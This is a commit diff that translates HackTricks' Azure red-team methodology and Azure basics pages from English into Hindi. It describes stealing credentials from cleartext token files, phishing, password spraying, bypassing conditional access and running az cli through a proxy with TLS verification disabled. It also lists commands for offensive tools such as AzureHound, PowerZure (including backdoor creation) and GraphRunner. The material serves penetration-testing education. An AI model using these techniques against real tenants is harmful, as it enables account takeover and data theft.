Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:36:01 +00:00
parent 388bdfdf0a
commit 0077c42f9c
245 changed files with 9025 additions and 11888 deletions

View File

@@ -10,46 +10,46 @@ az-basic-information/
## Azure Pentester/Red Team Methodology
In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected.
AZURE वातावरण का ऑडिट करने के लिए यह बहुत महत्वपूर्ण है: कौन से **सेवाएँ उपयोग की जा रही हैं**, क्या **प्रकट किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक Azure सेवाएँ और **बाहरी सेवाएँ** कैसे जुड़ी हुई हैं।
From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that:
Red Team के दृष्टिकोण से, **Azure वातावरण को समझौता करने का पहला कदम** Azure AD के लिए कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहाँ कुछ विचार दिए गए हैं कि ऐसा कैसे किया जा सकता है:
- **Leaks** in github (or similar) - OSINT
- **Leaks** github (या समान) में - OSINT
- **Social** Engineering
- **Password** reuse (password leaks)
- Vulnerabilities in Azure-Hosted Applications
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
- **Local File Read**
- `/home/USERNAME/.azure`
- `C:\Users\USERNAME\.azure`
- The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text**
- The file **`azureProfile.json`** contains **info** about logged user.
- **`az logout`** removes the token.
- Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\
Use `Disconnect-AzAccount` to remove them.
- 3rd parties **breached**
- **Password** पुन: उपयोग (पासवर्ड लीक)
- Azure-Hosted Applications में कमजोरियाँ
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) जिसमें मेटाडेटा एंडपॉइंट तक पहुँच है
- **Local File Read**
- `/home/USERNAME/.azure`
- `C:\Users\USERNAME\.azure`
- फ़ाइल **`accessTokens.json`** `az cli` में 2.30 से पहले - Jan2022 - **access tokens को स्पष्ट पाठ में** संग्रहीत किया गया था
- फ़ाइल **`azureProfile.json`** में लॉग इन किए गए उपयोगकर्ता के बारे में **जानकारी** होती है।
- **`az logout`** टोकन को हटा देता है।
- पुराने संस्करणों में **`Az PowerShell`** ने **access tokens** को **स्पष्ट** पाठ में **`TokenCache.dat`** में संग्रहीत किया। यह **ServicePrincipalSecret** को भी **स्पष्ट** पाठ में **`AzureRmContext.json`** में संग्रहीत करता है। cmdlet **`Save-AzContext`** का उपयोग **tokens** को **संग्रहित** करने के लिए किया जा सकता है।\
उन्हें हटाने के लिए `Disconnect-AzAccount` का उपयोग करें।
- 3rd पार्टियों का **breached**
- **Internal** Employee
- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App)
- [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (क्रेडेंशियल्स या Oauth App)
- [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it:
यहाँ तक कि अगर आपने Azure टेनेन्ट के अंदर किसी उपयोगकर्ता को **समझौता नहीं किया** है, तो आप इससे **कुछ जानकारी** एकत्र कर सकते हैं:
{{#ref}}
az-unauthenticated-enum-and-initial-entry/
{{#endref}}
> [!NOTE]
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
> जब आप क्रेडेंशियल्स प्राप्त करने में सफल हो जाते हैं, तो आपको यह जानने की आवश्यकता है कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या पहुँच है**, इसलिए आपको कुछ बुनियादी एन्यूमरेशन करने की आवश्यकता है:
## Basic Enumeration
> [!NOTE]
> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself.
> याद रखें कि एन्यूमरेशन का **सबसे शोर वाला** भाग **लॉगिन** है, न कि एन्यूमरेशन स्वयं।
### SSRF
If you found a SSRF in a machine inside Azure check this page for tricks:
यदि आपने Azure के अंदर एक मशीन में SSRF पाया है, तो ट्रिक्स के लिए इस पृष्ठ की जाँच करें:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -59,14 +59,14 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
<figure><img src="../../images/image (268).png" alt=""><figcaption></figcaption></figure>
In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place:
उन मामलों में जहाँ आपके पास कुछ मान्य क्रेडेंशियल्स हैं लेकिन आप लॉगिन नहीं कर सकते, ये कुछ सामान्य सुरक्षा उपाय हो सकते हैं:
- **IP whitelisting** -- You need to compromise a valid IP
- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least)
- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses.
- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed
- **IP whitelisting** -- आपको एक मान्य IP को समझौता करना होगा
- **Geo restrictions** -- पता करें कि उपयोगकर्ता कहाँ रहता है या कंपनी के कार्यालय कहाँ हैं और उसी शहर (या कम से कम देश) से एक IP प्राप्त करें
- **Browser** -- शायद केवल कुछ OS (Windows, Linux, Mac, Android, iOS) से एक ब्राउज़र की अनुमति है। पता करें कि पीड़ित/कंपनी कौन सा OS उपयोग करती है।
- आप **Service Principal क्रेडेंशियल्स को समझौता करने** की कोशिश भी कर सकते हैं क्योंकि ये आमतौर पर कम सीमित होते हैं और इसका लॉगिन कम समीक्षा किया जाता है
After bypassing it, you might be able to get back to your initial setup and you will still have access.
इसे बायपास करने के बाद, आप अपनी प्रारंभिक सेटअप पर वापस जाने में सक्षम हो सकते हैं और आपके पास अभी भी पहुँच होगी।
### Subdomain Takeover
@@ -75,13 +75,12 @@ After bypassing it, you might be able to get back to your initial setup and you
### Whoami
> [!CAUTION]
> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section.
> जानें **कैसे स्थापित करें** az cli, AzureAD और Az PowerShell को [**Az - Entra ID**](az-services/az-azuread.md) अनुभाग में।
One of the first things you need to know is **who you are** (in which environment you are):
आपको जानने की आवश्यकता है कि आप **कौन हैं** (आप किस वातावरण में हैं):
{{#tabs }}
{{#tab name="az cli" }}
```bash
az account list
az account tenant list # Current tenant info
@@ -90,22 +89,18 @@ az ad signed-in-user show # Current signed-in user
az ad signed-in-user list-owned-objects # Get owned objects by current user
az account management-group list #Not allowed by default
```
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
Get-AzureADTenantDetail
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
@@ -121,53 +116,49 @@ Get-AzResource
Get-AzRoleAssignment # For all users
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**.
> Azure को सूचीबद्ध करने के लिए सबसे महत्वपूर्ण कमांडों में से एक है **`Get-AzResource`** Az PowerShell से, क्योंकि यह आपको **जानकारी देता है कि आपके वर्तमान उपयोगकर्ता के पास किन संसाधनों की दृश्यता है**
>
> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources"
> आप वही जानकारी **वेब कंसोल** में [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) पर जाकर या "सभी संसाधन" खोजकर प्राप्त कर सकते हैं।
### ENtra ID Enumeration
By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\
You can find here a guide:
डिफ़ॉल्ट रूप से, किसी भी उपयोगकर्ता को **सूचीबद्ध करने के लिए पर्याप्त अनुमतियाँ होनी चाहिए** जैसे, उपयोगकर्ता, समूह, भूमिकाएँ, सेवा प्रमुख... (देखें [डिफ़ॉल्ट AzureAD अनुमतियाँ](az-basic-information/#default-user-permissions)).\
आप यहाँ एक गाइड पा सकते हैं:
{{#ref}}
az-services/az-azuread.md
{{#endref}}
> [!NOTE]
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
> In the following section you can check some ways to **enumerate some common services.**
> अब जब आपके पास **अपने क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं, तो उम्मीद है कि आप **पकड़े नहीं गए हैं**)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\
> अगले अनुभाग में आप **कुछ सामान्य सेवाओं को सूचीबद्ध करने के कुछ तरीके** देख सकते हैं।
## App Service SCM
Kudu console to log in to the App Service 'container'.
App Service 'container' में लॉग इन करने के लिए Kudu कंसोल।
## Webshell
Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account.
portal.azure.com का उपयोग करें और शेल का चयन करें, या bash या powershell के लिए shell.azure.com का उपयोग करें। इस शेल का 'डिस्क' एक स्टोरेज-खाता में एक इमेज फ़ाइल के रूप में संग्रहीत होता है।
## Azure DevOps
Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets.
Azure DevOps Azure से अलग है। इसमें रिपॉजिटरी, पाइपलाइन्स (yaml या रिलीज़), बोर्ड, विकी, और अधिक हैं। वेरिएबल ग्रुप्स का उपयोग वेरिएबल मान और रहस्यों को संग्रहीत करने के लिए किया जाता है।
## Debug | MitM az cli
Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
पैरामीटर **`--debug`** का उपयोग करके यह देखना संभव है कि उपकरण **`az`** सभी अनुरोध भेज रहा है:
```bash
az account management-group list --output table --debug
```
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
एक **MitM** करने के लिए और **सभी अनुरोधों** की जांच करने के लिए जो यह मैन्युअल रूप से भेज रहा है, आप कर सकते हैं:
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
@@ -180,25 +171,21 @@ export HTTP_PROXY="http://127.0.0.1:8080"
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
## Automated Recon Tools
## स्वचालित पुनः खोज उपकरण
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell
cd ROADTools
pipenv shell
@@ -206,9 +193,7 @@ roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
roadrecon gather
roadrecon gui
```
### [Monkey365](https://github.com/silverhack/monkey365)
```powershell
Import-Module monkey365
Get-Help Invoke-Monkey365
@@ -216,9 +201,7 @@ Get-Help Invoke-Monkey365 -Detailed
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
```
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
```powershell
# Start Backend
cd stormspotter\backend\
@@ -236,9 +219,7 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```powershell
# You need to use the Az PowerShell and Azure AD modules:
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -294,9 +275,7 @@ MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContribu
## All Azure AD Groups that are synchronized with On-Premise AD
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
```
### [Azucar](https://github.com/nccgroup/azucar)
```bash
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
@@ -309,17 +288,13 @@ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
```
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
```powershell
Connect-AzAccount
ipmo C:\Path\To\Powerzure.psd1
@@ -340,9 +315,7 @@ $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
```powershell
#Get-GraphTokens
@@ -398,9 +371,4 @@ Get-TenantID -Domain
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -8,41 +8,41 @@
### Management Groups
- It can contain **other management groups or subscriptions**.
- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group.
- **10,000 management** groups can be supported in a single directory.
- A management group tree can support **up to six levels of depth**. This limit doesnt include the root level or the subscription level.
- Each management group and subscription can support **only one parent**.
- Even if several management groups can be created **there is only 1 root management group**.
- The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**.
- All subscriptions within a single management group must trust the **same Entra ID tenant.**
- यह **अन्य प्रबंधन समूहों या सब्सक्रिप्शन** को समाहित कर सकता है।
- यह **प्रबंधन समूह स्तर पर शासन नियंत्रण** जैसे RBAC और Azure नीति को एक बार लागू करने की अनुमति देता है और इन्हें समूह में सभी सब्सक्रिप्शन द्वारा **विरासत में** प्राप्त किया जाता है।
- **10,000 प्रबंधन** समूह एकल निर्देशिका में समर्थित हो सकते हैं।
- एक प्रबंधन समूह का पेड़ **छह स्तर की गहराई** तक का समर्थन कर सकता है। यह सीमा मूल स्तर या सब्सक्रिप्शन स्तर को शामिल नहीं करती है।
- प्रत्येक प्रबंधन समूह और सब्सक्रिप्शन केवल **एक माता-पिता** का समर्थन कर सकता है।
- कई प्रबंधन समूह बनाए जा सकते हैं, लेकिन **केवल 1 मूल प्रबंधन समूह** है।
- मूल प्रबंधन समूह **सभी** **अन्य प्रबंधन समूहों और सब्सक्रिप्शन** को **समाहित करता है और इसे स्थानांतरित या हटाया नहीं जा सकता**
- एकल प्रबंधन समूह के भीतर सभी सब्सक्रिप्शन को **एक ही Entra ID टेनेट** पर भरोसा करना चाहिए।
<figure><img src="../../../images/image (147).png" alt=""><figcaption><p><a href="https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png">https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png</a></p></figcaption></figure>
### Azure Subscriptions
- Its another **logical container where resources** (VMs, DBs…) can be run and will be billed.
- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions.
- It **trust only one Entra ID** directory
- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription
- यह एक और **तार्किक कंटेनर है जहां संसाधन** (VMs, DBs…) चलाए जा सकते हैं और बिल किया जाएगा।
- इसका **माता-पिता** हमेशा एक **प्रबंधन समूह** होता है (और यह मूल प्रबंधन समूह हो सकता है) क्योंकि सब्सक्रिप्शन अन्य सब्सक्रिप्शन को समाहित नहीं कर सकते।
- यह **केवल एक Entra ID** निर्देशिका पर भरोसा करता है।
- **अनुमतियाँ** जो सब्सक्रिप्शन स्तर (या इसके किसी भी माता-पिता) पर लागू होती हैं, वे सब्सक्रिप्शन के भीतर सभी संसाधनों को **विरासत में** मिलती हैं।
### Resource Groups
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group.
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) एक संसाधन समूह एक **कंटेनर** है जो एक Azure समाधान के लिए **संबंधित संसाधनों** को रखता है। संसाधन समूह में समाधान के लिए सभी संसाधन शामिल हो सकते हैं, या केवल वे **संसाधन जिन्हें आप समूह के रूप में प्रबंधित करना चाहते हैं**। सामान्यतः, उन **संसाधनों** को एक ही संसाधन समूह में जोड़ें जो **एक ही जीवनचक्र** साझा करते हैं ताकि आप उन्हें समूह के रूप में आसानी से तैनात, अपडेट और हटा सकें।
All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted.
सभी **संसाधन** को **एक संसाधन समूह के भीतर होना चाहिए** और केवल एक समूह का हिस्सा हो सकते हैं और यदि एक संसाधन समूह को हटा दिया जाता है, तो इसके भीतर सभी संसाधन भी हटा दिए जाते हैं।
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfe8U30iP_vdZCvxX4g8nEPRLoo7v0kmCGkDn1frBPn3_GIoZ7VT2LkdsVQWCnrG_HSYNRRPM-1pSECUkbDAB-9YbUYLzpvKVLDETZS81CHWKYM4fDl3oMo5-yvTMnjdLTS2pz8U67xUTIzBhZ25MFMRkq5koKY=s2048?key=gSyKQr3HTyhvHa28Rf7LVA" alt=""><figcaption><p><a href="https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&#x26;ssl=1">https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&#x26;ssl=1</a></p></figcaption></figure>
### Azure Resource IDs
Every resource in Azure has an Azure Resource ID that identifies it.
Azure में प्रत्येक संसाधन का एक Azure Resource ID होता है जो इसे पहचानता है।
The format of an Azure Resource ID is as follows:
Azure Resource ID का प्रारूप इस प्रकार है:
- `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}`
For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this:
एक वर्चुअल मशीन जिसका नाम myVM है, एक संसाधन समूह `myResourceGroup` के तहत सब्सक्रिप्शन ID `12345678-1234-1234-1234-123456789012` में, Azure Resource ID इस प्रकार दिखता है:
- `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`
@@ -50,310 +50,306 @@ For a virtual machine named myVM in a resource group `myResourceGroup` under sub
### Azure
Azure is Microsofts comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises.
Azure माइक्रोसॉफ्ट का व्यापक **क्लाउड कंप्यूटिंग प्लेटफॉर्म है, जो एक विस्तृत श्रृंखला की सेवाएँ** प्रदान करता है, जिसमें वर्चुअल मशीन, डेटाबेस, आर्टिफिशियल इंटेलिजेंस, और स्टोरेज शामिल हैं। यह अनुप्रयोगों को होस्ट और प्रबंधित करने, स्केलेबल बुनियादी ढाँचे बनाने, और क्लाउड में आधुनिक कार्यभार चलाने के लिए आधार के रूप में कार्य करता है। Azure डेवलपर्स और IT पेशेवरों के लिए अनुप्रयोगों और सेवाओं को सहजता से बनाने, तैनात करने और प्रबंधित करने के लिए उपकरण प्रदान करता है, जो स्टार्टअप से लेकर बड़े उद्यमों तक की विभिन्न आवश्यकताओं को पूरा करता है।
### Entra ID (formerly Azure Active Directory)
### Entra ID (पूर्व में Azure Active Directory)
Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others.
Entra ID एक क्लाउड-आधारित **पहचान और पहुंच प्रबंधन सेवा** है जिसे प्रमाणीकरण, प्राधिकरण, और उपयोगकर्ता पहुंच नियंत्रण को संभालने के लिए डिज़ाइन किया गया है। यह Office 365, Azure, और कई तीसरे पक्ष के SaaS अनुप्रयोगों जैसी माइक्रोसॉफ्ट सेवाओं तक सुरक्षित पहुंच को सक्षम करता है। इसमें एकल साइन-ऑन (SSO), बहु-कारक प्रमाणीकरण (MFA), और शर्तीय पहुंच नीतियों जैसी सुविधाएँ शामिल हैं।
### Entra Domain Services (formerly Azure AD DS)
### Entra Domain Services (पूर्व में Azure AD DS)
Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments.
Entra Domain Services Entra ID की क्षमताओं को बढ़ाता है, **पारंपरिक Windows Active Directory वातावरण के साथ संगत प्रबंधित डोमेन सेवाएँ** प्रदान करता है। यह LDAP, Kerberos, और NTLM जैसे विरासती प्रोटोकॉल का समर्थन करता है, जिससे संगठनों को क्लाउड में पुराने अनुप्रयोगों को माइग्रेट या चलाने की अनुमति मिलती है बिना ऑन-प्रिमाइसेस डोमेन नियंत्रकों को तैनात किए। यह सेवा केंद्रीकृत प्रबंधन के लिए समूह नीति का भी समर्थन करती है, जिससे यह उन परिदृश्यों के लिए उपयुक्त बनती है जहां विरासती या AD-आधारित कार्यभार को आधुनिक क्लाउड वातावरण के साथ सह-अस्तित्व में होना आवश्यक है।
## Entra ID Principals
### Users
- **New users**
- Indicate email name and domain from selected tenant
- Indicate Display name
- Indicate password
- Indicate properties (first name, job title, contact info…)
- Default user type is “**member**”
- **External users**
- Indicate email to invite and display name (can be a non Microsft email)
- Indicate properties
- Default user type is “**Guest**”
- **नए उपयोगकर्ता**
- चयनित टेनेट से ईमेल नाम और डोमेन निर्दिष्ट करें
- डिस्प्ले नाम निर्दिष्ट करें
- पासवर्ड निर्दिष्ट करें
- गुण निर्दिष्ट करें (पहला नाम, नौकरी का शीर्षक, संपर्क जानकारी…)
- डिफ़ॉल्ट उपयोगकर्ता प्रकार “**सदस्य**” है
- **बाहरी उपयोगकर्ता**
- आमंत्रित करने के लिए ईमेल और डिस्प्ले नाम निर्दिष्ट करें (यह माइक्रोसॉफ्ट ईमेल नहीं हो सकता)
- गुण निर्दिष्ट करें
- डिफ़ॉल्ट उपयोगकर्ता प्रकार “**अतिथि**” है
### Members & Guests Default Permissions
You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to:
आप उन्हें [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) पर देख सकते हैं लेकिन अन्य कार्यों के बीच एक सदस्य सक्षम होगा:
- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties
- Invite Guests (_can be turned off_)
- Create Security groups
- Read non-hidden Group memberships
- Add guests to Owned groups
- Create new application (_can be turned off_)
- Add up to 50 devices to Azure (_can be turned off_)
- सभी उपयोगकर्ताओं, समूहों, अनुप्रयोगों, उपकरणों, भूमिकाओं, सब्सक्रिप्शन, और उनके सार्वजनिक गुणों को पढ़ें
- अतिथियों को आमंत्रित करें (_बंद किया जा सकता है_)
- सुरक्षा समूह बनाएं
- गैर-छिपे हुए समूह सदस्यता पढ़ें
- स्वामित्व वाले समूहों में अतिथियों को जोड़ें
- नया अनुप्रयोग बनाएं (_बंद किया जा सकता है_)
- Azure में 50 उपकरणों तक जोड़ें (_बंद किया जा सकता है_)
> [!NOTE]
> Remember that to enumerate Azure resources the user needs an explicit grant of the permission.
> याद रखें कि Azure संसाधनों को सूचीबद्ध करने के लिए उपयोगकर्ता को अनुमति का स्पष्ट अनुदान चाहिए।
### Users Default Configurable Permissions
- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
- Register Applications: Default **Yes**
- Restrict non-admin users from creating tenants: Default **No**
- Create security groups: Default **Yes**
- Restrict access to Microsoft Entra administration portal: Default **No**
- This doesnt restrict API access to the portal (only web)
- Allow users to connect work or school account with LinkedIn: Default **Yes**
- Show keep user signed in: Default **Yes**
- Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings)
- Read other users: Default **Yes** (via Microsoft Graph)
- **Guests**
- **Guest user access restrictions**
- **Guest users have the same access as members** grants all member user permissions to guest users by default.
- **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed.
- **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one.
- **Guests can invite**
- **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default**
- **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions**
- **Only users assigned to specific admin roles can invite guest users**
- **No one in the organization can invite guest users including admins (most restrictive)**
- **External user leave**: Default **True**
- Allow external users to leave the organization
- **सदस्य (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
- अनुप्रयोगों को पंजीकृत करें: डिफ़ॉल्ट **हाँ**
- गैर-प्रशासक उपयोगकर्ताओं को टेनेट बनाने से रोकें: डिफ़ॉल्ट **नहीं**
- सुरक्षा समूह बनाएं: डिफ़ॉल्ट **हाँ**
- माइक्रोसॉफ्ट Entra प्रशासन पोर्टल तक पहुंच को प्रतिबंधित करें: डिफ़ॉल्ट **नहीं**
- यह पोर्टल तक API पहुंच को प्रतिबंधित नहीं करता (केवल वेब)
- उपयोगकर्ताओं को लिंक्डइन के साथ कार्य या स्कूल खाता कनेक्ट करने की अनुमति दें: डिफ़ॉल्ट **हाँ**
- उपयोगकर्ता को साइन इन रखे: डिफ़ॉल्ट **हाँ**
- उपयोगकर्ताओं को उनके स्वामित्व वाले उपकरणों के लिए BitLocker कुंजी(ओं) को पुनर्प्राप्त करने से रोकें: डिफ़ॉल्ट नहीं (डिवाइस सेटिंग्स में जांचें)
- अन्य उपयोगकर्ताओं को पढ़ें: डिफ़ॉल्ट **हाँ** (Microsoft Graph के माध्यम से)
- **अतिथि**
- **अतिथि उपयोगकर्ता पहुंच प्रतिबंध**
- **अतिथि उपयोगकर्ताओं को सदस्यों के समान पहुंच** सभी सदस्य उपयोगकर्ता अनुमतियों को डिफ़ॉल्ट रूप से अतिथि उपयोगकर्ताओं को प्रदान करता है।
- **अतिथि उपयोगकर्ताओं को निर्देशिका वस्तुओं की संपत्तियों और सदस्यताओं तक सीमित पहुंच** डिफ़ॉल्ट रूप से केवल उनके अपने उपयोगकर्ता प्रोफ़ाइल तक अतिथि पहुंच को प्रतिबंधित करता है। अन्य उपयोगकर्ताओं और समूह की जानकारी तक पहुंच अब अनुमति नहीं है।
- **अतिथि उपयोगकर्ता पहुंच उनकी अपनी निर्देशिका वस्तुओं की संपत्तियों और सदस्यताओं तक सीमित है** सबसे प्रतिबंधात्मक है।
- **अतिथि आमंत्रित कर सकते हैं**
- **संगठन में कोई भी अतिथि उपयोगकर्ताओं को आमंत्रित कर सकता है जिसमें अतिथि और गैर-प्रशासक शामिल हैं (सबसे समावेशी) - डिफ़ॉल्ट**
- **सदस्य उपयोगकर्ता और विशिष्ट प्रशासनिक भूमिकाओं में नियुक्त उपयोगकर्ता अतिथि उपयोगकर्ताओं को आमंत्रित कर सकते हैं जिसमें सदस्य अनुमतियाँ शामिल हैं**
- **केवल विशिष्ट प्रशासनिक भूमिकाओं में नियुक्त उपयोगकर्ता अतिथि उपयोगकर्ताओं को आमंत्रित कर सकते हैं**
